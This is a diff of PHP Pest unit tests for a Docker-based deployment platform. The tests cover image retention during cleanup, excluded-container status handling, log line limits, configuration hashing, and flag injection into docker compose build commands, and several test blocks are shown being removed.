expect($buildImagesToKeep->pluck('tag')->toArray())->toContain('commit5-build', 'commit4-build', 'commit3-build');
|
||||
});
|
||||
|
||||
it('deletes all build images when retention is disabled', function () {
|
||||
$images = collect([
|
||||
['repository' => 'app-uuid', 'tag' => 'commit1', 'created_at' => '2024-01-01 10:00:00', 'image_ref' => 'app-uuid:commit1'],
|
||||
['repository' => 'app-uuid', 'tag' => 'commit2', 'created_at' => '2024-01-02 10:00:00', 'image_ref' => 'app-uuid:commit2'],
|
||||
['repository' => 'app-uuid', 'tag' => 'commit1-build', 'created_at' => '2024-01-01 09:00:00', 'image_ref' => 'app-uuid:commit1-build'],
|
||||
['repository' => 'app-uuid', 'tag' => 'commit2-build', 'created_at' => '2024-01-02 09:00:00', 'image_ref' => 'app-uuid:commit2-build'],
|
||||
]);
|
||||
|
||||
$currentTag = 'commit2';
|
||||
$imagesToKeep = 0; // Retention disabled
|
||||
|
||||
$buildImages = $images->filter(fn ($image) => ! str_starts_with($image['tag'], 'pr-') && str_ends_with($image['tag'], '-build'));
|
||||
$regularImages = $images->filter(fn ($image) => ! str_starts_with($image['tag'], 'pr-') && ! str_ends_with($image['tag'], '-build'));
|
||||
|
||||
$sortedRegularImages = $regularImages
|
||||
->filter(fn ($image) => $image['tag'] !== $currentTag)
|
||||
->sortByDesc('created_at')
|
||||
->values();
|
||||
|
||||
// With imagesToKeep=0, only current tag is kept
|
||||
$keptTags = $sortedRegularImages->take($imagesToKeep)->pluck('tag');
|
||||
if (! empty($currentTag)) {
|
||||
$keptTags = $keptTags->push($currentTag);
|
||||
}
|
||||
|
||||
$buildImagesToDelete = $buildImages->filter(function ($image) use ($keptTags) {
|
||||
$baseTag = preg_replace('/-build$/', '', $image['tag']);
|
||||
|
||||
return ! $keptTags->contains($baseTag);
|
||||
});
|
||||
|
||||
// commit1-build should be deleted (not retained), commit2-build kept (matches running)
|
||||
expect($buildImagesToDelete)->toHaveCount(1);
|
||||
expect($buildImagesToDelete->pluck('tag')->toArray())->toContain('commit1-build');
|
||||
});
|
||||
|
||||
it('container prune excludes persistent resource types', function () {
|
||||
$sourceFile = file_get_contents(__DIR__.'/../../../../app/Actions/Server/CleanupDocker.php');
|
||||
|
||||
expect($sourceFile)->toContain('label!=coolify.type=database');
|
||||
expect($sourceFile)->toContain('label!=coolify.type=application');
|
||||
expect($sourceFile)->toContain('label!=coolify.type=service');
|
||||
expect($sourceFile)->toContain('label!=coolify.proxy=true');
|
||||
expect($sourceFile)->toContain('label=coolify.managed=true');
|
||||
});
|
||||
|
||||
it('uses persisted buildx metadata when pruning the railpack builder', function () {
|
||||
$sourceFile = file_get_contents(__DIR__.'/../../../../app/Actions/Server/CleanupDocker.php');
|
||||
|
||||
expect($sourceFile)
|
||||
->toContain(": '\$HOME/.docker/buildx';")
|
||||
->toContain('docker run --rm -v {$buildxMetadataVolume}:/root/.docker/buildx')
|
||||
->toContain('docker buildx prune --builder coolify-railpack -af')
|
||||
->not->toContain('--buildkitd-flags');
|
||||
});
|
||||
|
||||
it('preserves build image for currently running tag', function () {
|
||||
$images = collect([
|
||||
['repository' => 'app-uuid', 'tag' => 'commit1', 'created_at' => '2024-01-01 10:00:00', 'image_ref' => 'app-uuid:commit1'],
|
||||
['repository' => 'app-uuid', 'tag' => 'commit1-build', 'created_at' => '2024-01-01 09:00:00', 'image_ref' => 'app-uuid:commit1-build'],
|
||||
]);
|
||||
|
||||
$currentTag = 'commit1';
|
||||
$imagesToKeep = 2;
|
||||
|
||||
$buildImages = $images->filter(fn ($image) => ! str_starts_with($image['tag'], 'pr-') && str_ends_with($image['tag'], '-build'));
|
||||
$regularImages = $images->filter(fn ($image) => ! str_starts_with($image['tag'], 'pr-') && ! str_ends_with($image['tag'], '-build'));
|
||||
|
||||
$sortedRegularImages = $regularImages
|
||||
->filter(fn ($image) => $image['tag'] !== $currentTag)
|
||||
->sortByDesc('created_at')
|
||||
->values();
|
||||
|
||||
$keptTags = $sortedRegularImages->take($imagesToKeep)->pluck('tag');
|
||||
if (! empty($currentTag)) {
|
||||
$keptTags = $keptTags->push($currentTag);
|
||||
}
|
||||
|
||||
$buildImagesToDelete = $buildImages->filter(function ($image) use ($keptTags) {
|
||||
$baseTag = preg_replace('/-build$/', '', $image['tag']);
|
||||
|
||||
return ! $keptTags->contains($baseTag);
|
||||
});
|
||||
|
||||
// Build image for running tag should NOT be deleted
|
||||
expect($buildImagesToDelete)->toHaveCount(0);
|
||||
});
|
||||
@@ -1,223 +0,0 @@
|
||||
<?php
|
||||
|
||||
/**
|
||||
* Unit tests to verify consistent handling of all-excluded containers
|
||||
* across PushServerUpdateJob, GetContainersStatus, and ComplexStatusCheck.
|
||||
*
|
||||
* These tests verify the fix for issue where different code paths handled
|
||||
* all-excluded containers inconsistently:
|
||||
* - PushServerUpdateJob (Sentinel, ~30s) previously skipped updates
|
||||
* - GetContainersStatus (SSH, ~1min) previously skipped updates
|
||||
* - ComplexStatusCheck (Multi-server) correctly calculated :excluded status
|
||||
*
|
||||
* After this fix, all three paths now calculate and return :excluded status
|
||||
* consistently, preventing status drift and UI inconsistencies.
|
||||
*/
|
||||
it('ensures CalculatesExcludedStatus trait exists with required methods', function () {
|
||||
$traitFile = file_get_contents(__DIR__.'/../../app/Traits/CalculatesExcludedStatus.php');
|
||||
|
||||
// Verify trait has both status calculation methods
|
||||
expect($traitFile)
|
||||
->toContain('trait CalculatesExcludedStatus')
|
||||
->toContain('protected function calculateExcludedStatus(Collection $containers, Collection $excludedContainers): string')
|
||||
->toContain('protected function calculateExcludedStatusFromStrings(Collection $containerStatuses): string')
|
||||
->toContain('protected function getExcludedContainersFromDockerCompose(?string $dockerComposeRaw): Collection');
|
||||
});
|
||||
|
||||
it('ensures ComplexStatusCheck uses CalculatesExcludedStatus trait', function () {
|
||||
$complexStatusCheckFile = file_get_contents(__DIR__.'/../../app/Actions/Shared/ComplexStatusCheck.php');
|
||||
|
||||
// Verify trait is used
|
||||
expect($complexStatusCheckFile)
|
||||
->toContain('use App\Traits\CalculatesExcludedStatus;')
|
||||
->toContain('use CalculatesExcludedStatus;');
|
||||
|
||||
// Verify it uses the trait method instead of inline code
|
||||
expect($complexStatusCheckFile)
|
||||
->toContain('return $this->calculateExcludedStatus($containers, $excludedContainers);');
|
||||
|
||||
// Verify it uses the trait helper for excluded containers
|
||||
expect($complexStatusCheckFile)
|
||||
->toContain('$excludedContainers = $this->getExcludedContainersFromDockerCompose($dockerComposeRaw);');
|
||||
});
|
||||
|
||||
it('ensures PushServerUpdateJob uses CalculatesExcludedStatus trait', function () {
|
||||
$pushServerUpdateJobFile = file_get_contents(__DIR__.'/../../app/Jobs/PushServerUpdateJob.php');
|
||||
|
||||
// Verify trait is used
|
||||
expect($pushServerUpdateJobFile)
|
||||
->toContain('use App\Traits\CalculatesExcludedStatus;')
|
||||
->toContain('use CalculatesExcludedStatus;');
|
||||
|
||||
// Verify it calculates excluded status instead of skipping (old behavior: continue)
|
||||
expect($pushServerUpdateJobFile)
|
||||
->toContain('// If all containers are excluded, calculate status from excluded containers')
|
||||
->toContain('$aggregatedStatus = $this->calculateExcludedStatusFromStrings($containerStatuses);');
|
||||
|
||||
// Verify it uses the trait helper for excluded containers
|
||||
expect($pushServerUpdateJobFile)
|
||||
->toContain('$excludedContainers = $this->getExcludedContainersFromDockerCompose($dockerComposeRaw);');
|
||||
});
|
||||
|
||||
it('ensures PushServerUpdateJob calculates excluded status for applications', function () {
|
||||
$pushServerUpdateJobFile = file_get_contents(__DIR__.'/../../app/Jobs/PushServerUpdateJob.php');
|
||||
|
||||
// In aggregateMultiContainerStatuses, verify the all-excluded scenario
|
||||
// calculates status and updates the application
|
||||
expect($pushServerUpdateJobFile)
|
||||
->toContain('if ($relevantStatuses->isEmpty()) {')
|
||||
->toContain('$aggregatedStatus = $this->calculateExcludedStatusFromStrings($containerStatuses);')
|
||||
->toContain('if ($aggregatedStatus && $application->status !== $aggregatedStatus) {')
|
||||
->toContain('$application->status = $aggregatedStatus;')
|
||||
->toContain('$application->save();');
|
||||
});
|
||||
|
||||
it('ensures PushServerUpdateJob calculates excluded status for services', function () {
|
||||
$pushServerUpdateJobFile = file_get_contents(__DIR__.'/../../app/Jobs/PushServerUpdateJob.php');
|
||||
|
||||
// Count occurrences - should appear twice (once for applications, once for services)
|
||||
$calculateExcludedCount = substr_count(
|
||||
$pushServerUpdateJobFile,
|
||||
'$aggregatedStatus = $this->calculateExcludedStatusFromStrings($containerStatuses);'
|
||||
);
|
||||
|
||||
expect($calculateExcludedCount)->toBe(2, 'Should calculate excluded status for both applications and services');
|
||||
});
|
||||
|
||||
it('ensures GetContainersStatus uses CalculatesExcludedStatus trait', function () {
|
||||
$getContainersStatusFile = file_get_contents(__DIR__.'/../../app/Actions/Docker/GetContainersStatus.php');
|
||||
|
||||
// Verify trait is used
|
||||
expect($getContainersStatusFile)
|
||||
->toContain('use App\Traits\CalculatesExcludedStatus;')
|
||||
->toContain('use CalculatesExcludedStatus;');
|
||||
|
||||
// Verify it calculates excluded status instead of returning null
|
||||
expect($getContainersStatusFile)
|
||||
->toContain('// If all containers are excluded, calculate status from excluded containers')
|
||||
->toContain('return $this->calculateExcludedStatusFromStrings($containerStatuses);');
|
||||
|
||||
// Verify it uses the trait helper for excluded containers
|
||||
expect($getContainersStatusFile)
|
||||
->toContain('$excludedContainers = $this->getExcludedContainersFromDockerCompose($dockerComposeRaw);');
|
||||
});
|
||||
|
||||
it('ensures GetContainersStatus calculates excluded status for applications', function () {
|
||||
$getContainersStatusFile = file_get_contents(__DIR__.'/../../app/Actions/Docker/GetContainersStatus.php');
|
||||
|
||||
// In aggregateApplicationStatus, verify the all-excluded scenario returns status
|
||||
expect($getContainersStatusFile)
|
||||
->toContain('if ($relevantStatuses->isEmpty()) {')
|
||||
->toContain('return $this->calculateExcludedStatusFromStrings($containerStatuses);');
|
||||
});
|
||||
|
||||
it('ensures GetContainersStatus calculates excluded status for services', function () {
|
||||
$getContainersStatusFile = file_get_contents(__DIR__.'/../../app/Actions/Docker/GetContainersStatus.php');
|
||||
|
||||
// In aggregateServiceContainerStatuses, verify the all-excluded scenario updates status
|
||||
expect($getContainersStatusFile)
|
||||
->toContain('$aggregatedStatus = $this->calculateExcludedStatusFromStrings($containerStatuses);')
|
||||
->toContain('if ($aggregatedStatus) {')
|
||||
->toContain('$statusFromDb = $subResource->status;')
|
||||
->toContain("if (\$statusFromDb !== \$aggregatedStatus) {\n \$subResource->update(['status' => \$aggregatedStatus]);");
|
||||
});
|
||||
|
||||
it('ensures excluded status format is consistent across all paths', function () {
|
||||
$traitFile = file_get_contents(__DIR__.'/../../app/Traits/CalculatesExcludedStatus.php');
|
||||
|
||||
// Trait now delegates to ContainerStatusAggregator and uses appendExcludedSuffix helper
|
||||
expect($traitFile)
|
||||
->toContain('use App\\Services\\ContainerStatusAggregator;')
|
||||
->toContain('$aggregator = new ContainerStatusAggregator;')
|
||||
->toContain('private function appendExcludedSuffix(string $status): string');
|
||||
|
||||
// Check that appendExcludedSuffix returns consistent colon format with :excluded suffix
|
||||
expect($traitFile)
|
||||
->toContain("return 'degraded:excluded';")
|
||||
->toContain("return 'paused:excluded';")
|
||||
->toContain("return 'starting:excluded';")
|
||||
->toContain("return 'exited';")
|
||||
->toContain('return "$status:excluded";'); // For running:healthy:excluded, running:unhealthy:excluded, etc.
|
||||
});
|
||||
|
||||
it('ensures all three paths check for exclude_from_hc flag consistently', function () {
|
||||
// All three should use the trait helper method
|
||||
$complexStatusCheckFile = file_get_contents(__DIR__.'/../../app/Actions/Shared/ComplexStatusCheck.php');
|
||||
$pushServerUpdateJobFile = file_get_contents(__DIR__.'/../../app/Jobs/PushServerUpdateJob.php');
|
||||
$getContainersStatusFile = file_get_contents(__DIR__.'/../../app/Actions/Docker/GetContainersStatus.php');
|
||||
|
||||
expect($complexStatusCheckFile)
|
||||
->toContain('$excludedContainers = $this->getExcludedContainersFromDockerCompose($dockerComposeRaw);');
|
||||
|
||||
expect($pushServerUpdateJobFile)
|
||||
->toContain('$excludedContainers = $this->getExcludedContainersFromDockerCompose($dockerComposeRaw);');
|
||||
|
||||
expect($getContainersStatusFile)
|
||||
->toContain('$excludedContainers = $this->getExcludedContainersFromDockerCompose($dockerComposeRaw);');
|
||||
|
||||
// The trait method should check both exclude_from_hc and restart: no
|
||||
$traitFile = file_get_contents(__DIR__.'/../../app/Traits/CalculatesExcludedStatus.php');
|
||||
expect($traitFile)
|
||||
->toContain('$excludeFromHc = data_get($serviceConfig, \'exclude_from_hc\', false);')
|
||||
->toContain('$restartPolicy = data_get($serviceConfig, \'restart\', \'always\');')
|
||||
->toContain('if ($excludeFromHc || $restartPolicy === \'no\') {');
|
||||
});
|
||||
|
||||
it('ensures calculateExcludedStatus uses ContainerStatusAggregator', function () {
|
||||
$traitFile = file_get_contents(__DIR__.'/../../app/Traits/CalculatesExcludedStatus.php');
|
||||
|
||||
// Check that the trait uses ContainerStatusAggregator service instead of duplicating logic
|
||||
expect($traitFile)
|
||||
->toContain('protected function calculateExcludedStatus(Collection $containers, Collection $excludedContainers): string')
|
||||
->toContain('use App\Services\ContainerStatusAggregator;')
|
||||
->toContain('$aggregator = new ContainerStatusAggregator;')
|
||||
->toContain('$aggregator->aggregateFromContainers($excludedOnly)');
|
||||
|
||||
// Check that it has appendExcludedSuffix helper for all states
|
||||
expect($traitFile)
|
||||
->toContain('private function appendExcludedSuffix(string $status): string')
|
||||
->toContain("return 'degraded:excluded';")
|
||||
->toContain("return 'paused:excluded';")
|
||||
->toContain("return 'starting:excluded';")
|
||||
->toContain("return 'exited';")
|
||||
->toContain('return "$status:excluded";'); // For running:healthy:excluded
|
||||
});
|
||||
|
||||
it('ensures calculateExcludedStatusFromStrings uses ContainerStatusAggregator', function () {
|
||||
$traitFile = file_get_contents(__DIR__.'/../../app/Traits/CalculatesExcludedStatus.php');
|
||||
|
||||
// Check that the trait uses ContainerStatusAggregator service instead of duplicating logic
|
||||
expect($traitFile)
|
||||
->toContain('protected function calculateExcludedStatusFromStrings(Collection $containerStatuses): string')
|
||||
->toContain('use App\Services\ContainerStatusAggregator;')
|
||||
->toContain('$aggregator = new ContainerStatusAggregator;')
|
||||
->toContain('$aggregator->aggregateFromStrings($containerStatuses)');
|
||||
|
||||
// Check that it has appendExcludedSuffix helper for all states
|
||||
expect($traitFile)
|
||||
->toContain('private function appendExcludedSuffix(string $status): string')
|
||||
->toContain("return 'degraded:excluded';")
|
||||
->toContain("return 'paused:excluded';")
|
||||
->toContain("return 'starting:excluded';")
|
||||
->toContain("return 'exited';")
|
||||
->toContain('return "$status:excluded";'); // For running:healthy:excluded
|
||||
});
|
||||
|
||||
it('verifies no code path skips update when all containers excluded', function () {
|
||||
$pushServerUpdateJobFile = file_get_contents(__DIR__.'/../../app/Jobs/PushServerUpdateJob.php');
|
||||
$getContainersStatusFile = file_get_contents(__DIR__.'/../../app/Actions/Docker/GetContainersStatus.php');
|
||||
|
||||
// These patterns should NOT exist anymore (old behavior that caused drift)
|
||||
expect($pushServerUpdateJobFile)
|
||||
->not->toContain("// If all containers are excluded, don't update status");
|
||||
|
||||
expect($getContainersStatusFile)
|
||||
->not->toContain("// If all containers are excluded, don't update status");
|
||||
|
||||
// Instead, both should calculate excluded status
|
||||
expect($pushServerUpdateJobFile)
|
||||
->toContain('// If all containers are excluded, calculate status from excluded containers');
|
||||
|
||||
expect($getContainersStatusFile)
|
||||
->toContain('// If all containers are excluded, calculate status from excluded containers');
|
||||
});
|
||||
@@ -39,32 +39,6 @@ it('keeps MCP log requests bounded', function () {
|
||||
->and($normalizer->normalize('501'))->toBe(500);
|
||||
});
|
||||
|
||||
it('documents the named all logs option on every REST log endpoint', function (string $controller) {
|
||||
$source = file_get_contents(__DIR__."/../../../app/Http/Controllers/Api/{$controller}.php");
|
||||
|
||||
expect($source)->toContain('Use `all` to return all logs. `-1` remains available as a compatibility alias.');
|
||||
})->with([
|
||||
'applications' => 'ApplicationsController',
|
||||
'databases' => 'DatabasesController',
|
||||
'services' => 'ServicesController',
|
||||
'service applications' => 'ServiceApplicationsController',
|
||||
'service databases' => 'ServiceDatabasesController',
|
||||
]);
|
||||
|
||||
it('normalizes service resource log line counts before invoking Docker', function (string $controller, mixed $lines, int $expectedLines) {
|
||||
$source = file_get_contents(__DIR__."/../../../app/Http/Controllers/Api/{$controller}.php");
|
||||
|
||||
expect($source)->toContain('$lines = normalizeLogLines($request->query(\'lines\'));')
|
||||
->and(normalizeLogLines($lines))->toBe($expectedLines);
|
||||
})->with([
|
||||
'application invalid value' => ['ServiceApplicationsController', 'invalid', 100],
|
||||
'application negative value' => ['ServiceApplicationsController', '-5', 100],
|
||||
'application value above limit' => ['ServiceApplicationsController', '50000', 10000],
|
||||
'database invalid value' => ['ServiceDatabasesController', 'invalid', 100],
|
||||
'database negative value' => ['ServiceDatabasesController', '-5', 100],
|
||||
'database value above limit' => ['ServiceDatabasesController', '50000', 10000],
|
||||
]);
|
||||
|
||||
it('parses show_timestamps query values as booleans', function () {
|
||||
if (! function_exists('parseLogTimestampFlag')) {
|
||||
expect(function_exists('parseLogTimestampFlag'))->toBeTrue();
|
||||
|
||||
@@ -1,49 +0,0 @@
|
||||
<?php
|
||||
|
||||
/**
|
||||
* Unit test to verify that custom_network_aliases is included in configuration change detection.
|
||||
* Tests the behavior of the isConfigurationChanged method by verifying that different
|
||||
* custom_network_aliases values produce different configuration hashes.
|
||||
*/
|
||||
it('different custom_network_aliases values produce different hashes', function () {
|
||||
// Test that the hash calculation includes custom_network_aliases by computing hashes with different values
|
||||
$hash1 = md5(base64_encode('test'.'api.internal,api.local'));
|
||||
$hash2 = md5(base64_encode('test'.'api.internal,api.local,api.staging'));
|
||||
$hash3 = md5(base64_encode('test'.null));
|
||||
|
||||
expect($hash1)->not->toBe($hash2)
|
||||
->and($hash1)->not->toBe($hash3)
|
||||
->and($hash2)->not->toBe($hash3);
|
||||
});
|
||||
|
||||
/**
|
||||
* Unit test to verify that inject_build_args_to_dockerfile is included in configuration change detection.
|
||||
* Tests the behavior of the isConfigurationChanged method by verifying that different
|
||||
* inject_build_args_to_dockerfile values produce different configuration hashes.
|
||||
*/
|
||||
it('different inject_build_args_to_dockerfile values produce different hashes', function () {
|
||||
// Test that the hash calculation includes inject_build_args_to_dockerfile by computing hashes with different values
|
||||
// true becomes '1', false becomes '', so they produce different hashes
|
||||
$hash1 = md5(base64_encode('test'.true)); // 'test1'
|
||||
$hash2 = md5(base64_encode('test'.false)); // 'test'
|
||||
$hash3 = md5(base64_encode('test')); // 'test'
|
||||
|
||||
expect($hash1)->not->toBe($hash2)
|
||||
->and($hash2)->toBe($hash3); // false and empty string produce the same result
|
||||
});
|
||||
|
||||
/**
|
||||
* Unit test to verify that include_source_commit_in_build is included in configuration change detection.
|
||||
* Tests the behavior of the isConfigurationChanged method by verifying that different
|
||||
* include_source_commit_in_build values produce different configuration hashes.
|
||||
*/
|
||||
it('different include_source_commit_in_build values produce different hashes', function () {
|
||||
// Test that the hash calculation includes include_source_commit_in_build by computing hashes with different values
|
||||
// true becomes '1', false becomes '', so they produce different hashes
|
||||
$hash1 = md5(base64_encode('test'.true)); // 'test1'
|
||||
$hash2 = md5(base64_encode('test'.false)); // 'test'
|
||||
$hash3 = md5(base64_encode('test')); // 'test'
|
||||
|
||||
expect($hash1)->not->toBe($hash2)
|
||||
->and($hash2)->toBe($hash3); // false and empty string produce the same result
|
||||
});
|
||||
@@ -14,127 +14,6 @@
|
||||
* - Both flags are injected in a single str_replace operation
|
||||
* - Build arguments are appended when not using build secrets
|
||||
*/
|
||||
it('injects --env-file flag into custom build command', function () {
|
||||
$customCommand = 'docker compose -f ./docker-compose.yaml build';
|
||||
|
||||
// Simulate the injection logic from ApplicationDeploymentJob
|
||||
if (! str_contains($customCommand, '--env-file')) {
|
||||
$customCommand = str_replace(
|
||||
'docker compose',
|
||||
'docker compose --env-file /artifacts/build-time.env',
|
||||
$customCommand
|
||||
);
|
||||
}
|
||||
|
||||
expect($customCommand)->toBe('docker compose --env-file /artifacts/build-time.env -f ./docker-compose.yaml build');
|
||||
expect($customCommand)->toContain('--env-file /artifacts/build-time.env');
|
||||
});
|
||||
|
||||
it('does not duplicate --env-file flag when already present', function () {
|
||||
$customCommand = 'docker compose --env-file /custom/.env -f ./docker-compose.yaml build';
|
||||
|
||||
// Simulate the injection logic from ApplicationDeploymentJob
|
||||
if (! str_contains($customCommand, '--env-file')) {
|
||||
$customCommand = str_replace(
|
||||
'docker compose',
|
||||
'docker compose --env-file /artifacts/build-time.env',
|
||||
$customCommand
|
||||
);
|
||||
}
|
||||
|
||||
expect($customCommand)->toBe('docker compose --env-file /custom/.env -f ./docker-compose.yaml build');
|
||||
expect(substr_count($customCommand, '--env-file'))->toBe(1);
|
||||
});
|
||||
|
||||
it('preserves custom build command structure with env-file injection', function () {
|
||||
$customCommand = 'docker compose -f ./custom/path/docker-compose.prod.yaml build --no-cache';
|
||||
|
||||
// Simulate the injection logic from ApplicationDeploymentJob
|
||||
if (! str_contains($customCommand, '--env-file')) {
|
||||
$customCommand = str_replace(
|
||||
'docker compose',
|
||||
'docker compose --env-file /artifacts/build-time.env',
|
||||
$customCommand
|
||||
);
|
||||
}
|
||||
|
||||
expect($customCommand)->toBe('docker compose --env-file /artifacts/build-time.env -f ./custom/path/docker-compose.prod.yaml build --no-cache');
|
||||
expect($customCommand)->toContain('--env-file /artifacts/build-time.env');
|
||||
expect($customCommand)->toContain('-f ./custom/path/docker-compose.prod.yaml');
|
||||
expect($customCommand)->toContain('build --no-cache');
|
||||
});
|
||||
|
||||
it('handles multiple docker compose commands in custom build command', function () {
|
||||
// Edge case: Only the first 'docker compose' should get the env-file flag
|
||||
$customCommand = 'docker compose -f ./docker-compose.yaml build';
|
||||
|
||||
// Simulate the injection logic from ApplicationDeploymentJob
|
||||
if (! str_contains($customCommand, '--env-file')) {
|
||||
$customCommand = str_replace(
|
||||
'docker compose',
|
||||
'docker compose --env-file /artifacts/build-time.env',
|
||||
$customCommand
|
||||
);
|
||||
}
|
||||
|
||||
// Note: str_replace replaces ALL occurrences, which is acceptable in this case
|
||||
// since you typically only have one 'docker compose' command
|
||||
expect($customCommand)->toContain('docker compose --env-file /artifacts/build-time.env');
|
||||
});
|
||||
|
||||
it('verifies build args would be appended correctly', function () {
|
||||
$customCommand = 'docker compose --env-file /artifacts/build-time.env -f ./docker-compose.yaml build';
|
||||
$buildArgs = collect([
|
||||
'--build-arg NODE_ENV=production',
|
||||
'--build-arg API_URL=https://api.example.com',
|
||||
]);
|
||||
|
||||
// Simulate build args appending logic
|
||||
$buildArgsString = $buildArgs->implode(' ');
|
||||
$buildArgsString = str_replace("'", "'\\''", $buildArgsString);
|
||||
$customCommand .= " {$buildArgsString}";
|
||||
|
||||
expect($customCommand)->toContain('--build-arg NODE_ENV=production');
|
||||
expect($customCommand)->toContain('--build-arg API_URL=https://api.example.com');
|
||||
expect($customCommand)->toBe(
|
||||
'docker compose --env-file /artifacts/build-time.env -f ./docker-compose.yaml build --build-arg NODE_ENV=production --build-arg API_URL=https://api.example.com'
|
||||
);
|
||||
});
|
||||
|
||||
it('properly escapes single quotes in build args', function () {
|
||||
$buildArg = "--build-arg MESSAGE='Hello World'";
|
||||
|
||||
// Simulate the escaping logic from ApplicationDeploymentJob
|
||||
$escapedBuildArg = str_replace("'", "'\\''", $buildArg);
|
||||
|
||||
expect($escapedBuildArg)->toBe("--build-arg MESSAGE='\\''Hello World'\\''");
|
||||
});
|
||||
|
||||
it('handles DOCKER_BUILDKIT prefix with env-file injection', function () {
|
||||
$customCommand = 'docker compose -f ./docker-compose.yaml build';
|
||||
|
||||
// Simulate the injection logic from ApplicationDeploymentJob
|
||||
if (! str_contains($customCommand, '--env-file')) {
|
||||
$customCommand = str_replace(
|
||||
'docker compose',
|
||||
'docker compose --env-file /artifacts/build-time.env',
|
||||
$customCommand
|
||||
);
|
||||
}
|
||||
|
||||
// Simulate BuildKit support
|
||||
$dockerBuildkitSupported = true;
|
||||
if ($dockerBuildkitSupported) {
|
||||
$customCommand = "DOCKER_BUILDKIT=1 {$customCommand}";
|
||||
}
|
||||
|
||||
expect($customCommand)->toBe('DOCKER_BUILDKIT=1 docker compose --env-file /artifacts/build-time.env -f ./docker-compose.yaml build');
|
||||
expect($customCommand)->toStartWith('DOCKER_BUILDKIT=1');
|
||||
expect($customCommand)->toContain('--env-file /artifacts/build-time.env');
|
||||
});
|
||||
|
||||
// Tests for -f flag injection
|
||||
|
||||
it('injects -f flag with compose file path into custom build command', function () {
|
||||
$customCommand = 'docker compose build';
|
||||
$composeFilePath = '/artifacts/deployment-uuid/backend/docker-compose.yaml';
|
||||
@@ -536,86 +415,6 @@ it('injects -f flag when command contains -fast flag (not -f)', function () {
|
||||
expect($customCommand)->toContain('-f /artifacts/uuid/docker-compose.yaml');
|
||||
});
|
||||
|
||||
// Path normalization tests for preview methods
|
||||
|
||||
it('normalizes path when baseDirectory is root slash', function () {
|
||||
$baseDirectory = '/';
|
||||
$composeLocation = '/docker-compose.yaml';
|
||||
|
||||
// Normalize baseDirectory to prevent double slashes
|
||||
$normalizedBase = $baseDirectory === '/' ? '' : rtrim($baseDirectory, '/');
|
||||
$path = ".{$normalizedBase}{$composeLocation}";
|
||||
|
||||
expect($path)->toBe('./docker-compose.yaml');
|
||||
expect($path)->not->toContain('//');
|
||||
});
|
||||
|
||||
it('normalizes path when baseDirectory has trailing slash', function () {
|
||||
$baseDirectory = '/backend/';
|
||||
$composeLocation = '/docker-compose.yaml';
|
||||
|
||||
// Normalize baseDirectory to prevent double slashes
|
||||
$normalizedBase = $baseDirectory === '/' ? '' : rtrim($baseDirectory, '/');
|
||||
$path = ".{$normalizedBase}{$composeLocation}";
|
||||
|
||||
expect($path)->toBe('./backend/docker-compose.yaml');
|
||||
expect($path)->not->toContain('//');
|
||||
});
|
||||
|
||||
it('handles empty baseDirectory correctly', function () {
|
||||
$baseDirectory = '';
|
||||
$composeLocation = '/docker-compose.yaml';
|
||||
|
||||
// Normalize baseDirectory to prevent double slashes
|
||||
$normalizedBase = $baseDirectory === '/' ? '' : rtrim($baseDirectory, '/');
|
||||
$path = ".{$normalizedBase}{$composeLocation}";
|
||||
|
||||
expect($path)->toBe('./docker-compose.yaml');
|
||||
expect($path)->not->toContain('//');
|
||||
});
|
||||
|
||||
it('handles normal baseDirectory without trailing slash', function () {
|
||||
$baseDirectory = '/backend';
|
||||
$composeLocation = '/docker-compose.yaml';
|
||||
|
||||
// Normalize baseDirectory to prevent double slashes
|
||||
$normalizedBase = $baseDirectory === '/' ? '' : rtrim($baseDirectory, '/');
|
||||
$path = ".{$normalizedBase}{$composeLocation}";
|
||||
|
||||
expect($path)->toBe('./backend/docker-compose.yaml');
|
||||
expect($path)->not->toContain('//');
|
||||
});
|
||||
|
||||
it('handles nested baseDirectory with trailing slash', function () {
|
||||
$baseDirectory = '/app/backend/';
|
||||
$composeLocation = '/docker-compose.prod.yaml';
|
||||
|
||||
// Normalize baseDirectory to prevent double slashes
|
||||
$normalizedBase = $baseDirectory === '/' ? '' : rtrim($baseDirectory, '/');
|
||||
$path = ".{$normalizedBase}{$composeLocation}";
|
||||
|
||||
expect($path)->toBe('./app/backend/docker-compose.prod.yaml');
|
||||
expect($path)->not->toContain('//');
|
||||
});
|
||||
|
||||
it('produces correct preview path with normalized baseDirectory', function () {
|
||||
$testCases = [
|
||||
['baseDir' => '/', 'compose' => '/docker-compose.yaml', 'expected' => './docker-compose.yaml'],
|
||||
['baseDir' => '', 'compose' => '/docker-compose.yaml', 'expected' => './docker-compose.yaml'],
|
||||
['baseDir' => '/backend', 'compose' => '/docker-compose.yaml', 'expected' => './backend/docker-compose.yaml'],
|
||||
['baseDir' => '/backend/', 'compose' => '/docker-compose.yaml', 'expected' => './backend/docker-compose.yaml'],
|
||||
['baseDir' => '/app/src/', 'compose' => '/docker-compose.prod.yaml', 'expected' => './app/src/docker-compose.prod.yaml'],
|
||||
];
|
||||
|
||||
foreach ($testCases as $case) {
|
||||
$normalizedBase = $case['baseDir'] === '/' ? '' : rtrim($case['baseDir'], '/');
|
||||
$path = ".{$normalizedBase}{$case['compose']}";
|
||||
|
||||
expect($path)->toBe($case['expected'], "Failed for baseDir: {$case['baseDir']}");
|
||||
expect($path)->not->toContain('//', "Double slash found for baseDir: {$case['baseDir']}");
|
||||
}
|
||||
});
|
||||
|
||||
// Tests for injectDockerComposeBuildArgs() helper function
|
||||
it('injects build args when building specific service', function () {
|
||||
$command = 'docker compose build web';
|
||||
|
||||
@@ -1,63 +0,0 @@
|
||||
<?php
|
||||
|
||||
/**
|
||||
* Test to verify that empty .env files are created for build packs that require them.
|
||||
*
|
||||
* This test verifies the fix for the issue where deploying a Docker image without
|
||||
* environment variables would fail because Docker Compose expects a .env file
|
||||
* when env_file: ['.env'] is specified in the compose file.
|
||||
*
|
||||
* The fix ensures that for 'dockerimage' and 'dockercompose' build packs,
|
||||
* an empty .env file is created even when there are no environment variables defined.
|
||||
*/
|
||||
it('determines which build packs require empty .env file creation', function () {
|
||||
// Build packs that set env_file: ['.env'] in the generated compose file
|
||||
// and thus require an empty .env file even when no environment variables are defined
|
||||
$buildPacksRequiringEnvFile = ['dockerimage', 'dockercompose'];
|
||||
|
||||
// Build packs that don't use env_file in the compose file
|
||||
$buildPacksNotRequiringEnvFile = ['dockerfile', 'nixpacks', 'static'];
|
||||
|
||||
foreach ($buildPacksRequiringEnvFile as $buildPack) {
|
||||
// Verify the condition matches our fix
|
||||
$requiresEnvFile = ($buildPack === 'dockercompose' || $buildPack === 'dockerimage');
|
||||
